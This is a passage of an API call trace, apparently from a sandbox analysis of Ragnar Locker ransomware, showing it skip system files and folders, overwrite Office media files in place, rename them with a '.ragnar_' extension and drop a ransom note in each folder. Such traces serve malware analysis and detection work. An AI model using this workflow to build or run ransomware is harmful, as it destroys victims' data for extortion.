lstrcmpiW (lpString1="BD18256_.WMF", lpString2="ntldr") returned -1 [0097.343] lstrcmpiW (lpString1="BD18256_.WMF", lpString2="ntuser.dat") returned -1 [0097.343] lstrcmpiW (lpString1="BD18256_.WMF", lpString2="ntuser.dat.log") returned -1 [0097.343] lstrcmpiW (lpString1="BD18256_.WMF", lpString2="ntuser.ini") returned -1 [0097.343] lstrcmpiW (lpString1="BD18256_.WMF", lpString2="thumbs.db") returned -1 [0097.343] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0097.343] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0097.343] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0097.343] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0097.343] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0097.343] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0097.343] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0097.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18256_.wmf")) returned 0x20 [0097.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18256_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0097.344] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2220) returned 1 [0097.344] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.344] GetProcessHeap () returned 0x580000 [0097.344] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.344] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.375] VirtualAlloc (lpAddress=0x0, dwSize=0x8ac, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.376] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.376] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.376] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8ac, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x8ac, lpOverlapped=0x0) returned 1 [0097.376] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.376] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.376] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8ac, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x8ac, lpOverlapped=0x0) returned 1 [0097.376] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.376] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.376] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.377] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.377] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.377] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.377] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.377] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.377] GetProcessHeap () returned 0x580000 [0097.377] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.377] CloseHandle (hObject=0xf4) returned 1 [0097.379] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF" [0097.379] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF.ragnar_FD7BD9FC" [0097.379] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18256_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18256_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.380] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd83b2900, ftCreationTime.dwHighDateTime=0x1bdfe4b, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd83b2900, ftLastWriteTime.dwHighDateTime=0x1bdfe4b, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18257_.WMF", cAlternateFileName="")) returned 1 [0097.380] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0097.380] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18257_.WMF" | out: lpString1="BD18257_.WMF") returned="BD18257_.WMF" [0097.380] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF") returned=".WMF" [0097.380] lstrcmpiW (lpString1="BD18257_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.380] lstrcmpiW (lpString1="BD18257_.WMF", lpString2="autorun.inf") returned 1 [0097.380] lstrcmpiW (lpString1="BD18257_.WMF", lpString2="boot.ini") returned -1 [0097.380] lstrcmpiW (lpString1="BD18257_.WMF", lpString2="bootfont.bin") returned -1 [0097.380] lstrcmpiW (lpString1="BD18257_.WMF", lpString2="bootsect.bak") returned -1 [0097.381] lstrcmpiW (lpString1="BD18257_.WMF", lpString2="bootmgr") returned -1 [0097.381] lstrcmpiW (lpString1="BD18257_.WMF", lpString2="bootmgr.efi") returned -1 [0097.381] lstrcmpiW (lpString1="BD18257_.WMF", lpString2="bootmgfw.efi") returned -1 [0097.381] lstrcmpiW (lpString1="BD18257_.WMF", lpString2="desktop.ini") returned -1 [0097.381] lstrcmpiW (lpString1="BD18257_.WMF", lpString2="iconcache.db") returned -1 [0097.381] lstrcmpiW (lpString1="BD18257_.WMF", lpString2="ntldr") returned -1 [0097.381] lstrcmpiW (lpString1="BD18257_.WMF", lpString2="ntuser.dat") returned -1 [0097.381] lstrcmpiW (lpString1="BD18257_.WMF", lpString2="ntuser.dat.log") returned -1 [0097.381] lstrcmpiW (lpString1="BD18257_.WMF", lpString2="ntuser.ini") returned -1 [0097.381] lstrcmpiW (lpString1="BD18257_.WMF", lpString2="thumbs.db") returned -1 [0097.381] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0097.381] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0097.381] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0097.381] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0097.381] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0097.381] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0097.381] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0097.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18257_.wmf")) returned 0x20 [0097.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18257_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0097.382] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=4842) returned 1 [0097.382] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x12e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.382] GetProcessHeap () returned 0x580000 [0097.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.382] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.419] VirtualAlloc (lpAddress=0x0, dwSize=0x12ea, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.419] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.419] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.419] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x12ea, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x12ea, lpOverlapped=0x0) returned 1 [0097.457] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.457] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x12ea, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.457] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x12ea, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x12ea, lpOverlapped=0x0) returned 1 [0097.457] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12ea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.457] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.457] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x12ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.457] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.457] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.457] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.458] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.458] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.458] GetProcessHeap () returned 0x580000 [0097.458] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.458] CloseHandle (hObject=0xf4) returned 1 [0097.458] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF" [0097.458] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF.ragnar_FD7BD9FC" [0097.458] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18257_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18257_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.459] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bbbf3e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8bbbf3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0097.459] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0097.459] lstrcpyW (in: lpString1=0x1eab64, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0097.459] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\RGNR_FD7BD9FC.txt") returned=".txt" [0097.459] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0097.459] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bbbf3e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8bbbf3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0097.460] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0097.460] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BULLETS", cAlternateFileName="")) returned 1 [0097.460] lstrcmpiW (lpString1="BULLETS", lpString2=".") returned 1 [0097.460] lstrcmpiW (lpString1="BULLETS", lpString2="..") returned 1 [0097.460] lstrcmpiW (lpString1="BULLETS", lpString2="Windows") returned -1 [0097.460] lstrcmpiW (lpString1="BULLETS", lpString2="Windows.old") returned -1 [0097.460] lstrcmpiW (lpString1="BULLETS", lpString2="Tor browser") returned -1 [0097.460] lstrcmpiW (lpString1="BULLETS", lpString2="Internet Explorer") returned -1 [0097.460] lstrcmpiW (lpString1="BULLETS", lpString2="Google") returned -1 [0097.460] lstrcmpiW (lpString1="BULLETS", lpString2="Opera") returned -1 [0097.460] lstrcmpiW (lpString1="BULLETS", lpString2="Opera Software") returned -1 [0097.460] lstrcmpiW (lpString1="BULLETS", lpString2="Mozilla") returned -1 [0097.460] lstrcmpiW (lpString1="BULLETS", lpString2="Mozilla Firefox") returned -1 [0097.460] lstrcmpiW (lpString1="BULLETS", lpString2="$Recycle.Bin") returned 1 [0097.460] lstrcmpiW (lpString1="BULLETS", lpString2="ProgramData") returned -1 [0097.460] lstrcmpiW (lpString1="BULLETS", lpString2="All Users") returned 1 [0097.460] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0097.460] lstrcpyW (in: lpString1=0x1eb62a, lpString2="BULLETS" | out: lpString1="BULLETS") returned="BULLETS" [0097.460] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0097.460] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0097.460] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\RGNR_FD7BD9FC.txt" [0097.460] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0097.543] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*" [0097.543] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0097.543] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0097.543] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0097.543] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8c6032c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8c6032c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0097.574] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.574] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8c6032c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8c6032c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.596] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.596] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.596] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x992c8400, ftCreationTime.dwHighDateTime=0x1bd5de4, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x992c8400, ftLastWriteTime.dwHighDateTime=0x1bd5de4, nFileSizeHigh=0x0, nFileSizeLow=0x967, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10253_.GIF", cAlternateFileName="")) returned 1 [0097.596] lstrcmpiW (lpString1="BD10253_.GIF", lpString2=".") returned 1 [0097.596] lstrcmpiW (lpString1="BD10253_.GIF", lpString2="..") returned 1 [0097.596] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dec3400, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5dec3400, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10254_.GIF", cAlternateFileName="")) returned 1 [0097.596] lstrcmpiW (lpString1="BD10254_.GIF", lpString2=".") returned 1 [0097.596] lstrcmpiW (lpString1="BD10254_.GIF", lpString2="..") returned 1 [0097.596] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f1d6100, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f1d6100, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10255_.GIF", cAlternateFileName="")) returned 1 [0097.596] lstrcmpiW (lpString1="BD10255_.GIF", lpString2=".") returned 1 [0097.596] lstrcmpiW (lpString1="BD10255_.GIF", lpString2="..") returned 1 [0097.596] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10263_.GIF", cAlternateFileName="")) returned 1 [0097.596] lstrcmpiW (lpString1="BD10263_.GIF", lpString2=".") returned 1 [0097.596] lstrcmpiW (lpString1="BD10263_.GIF", lpString2="..") returned 1 [0097.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, 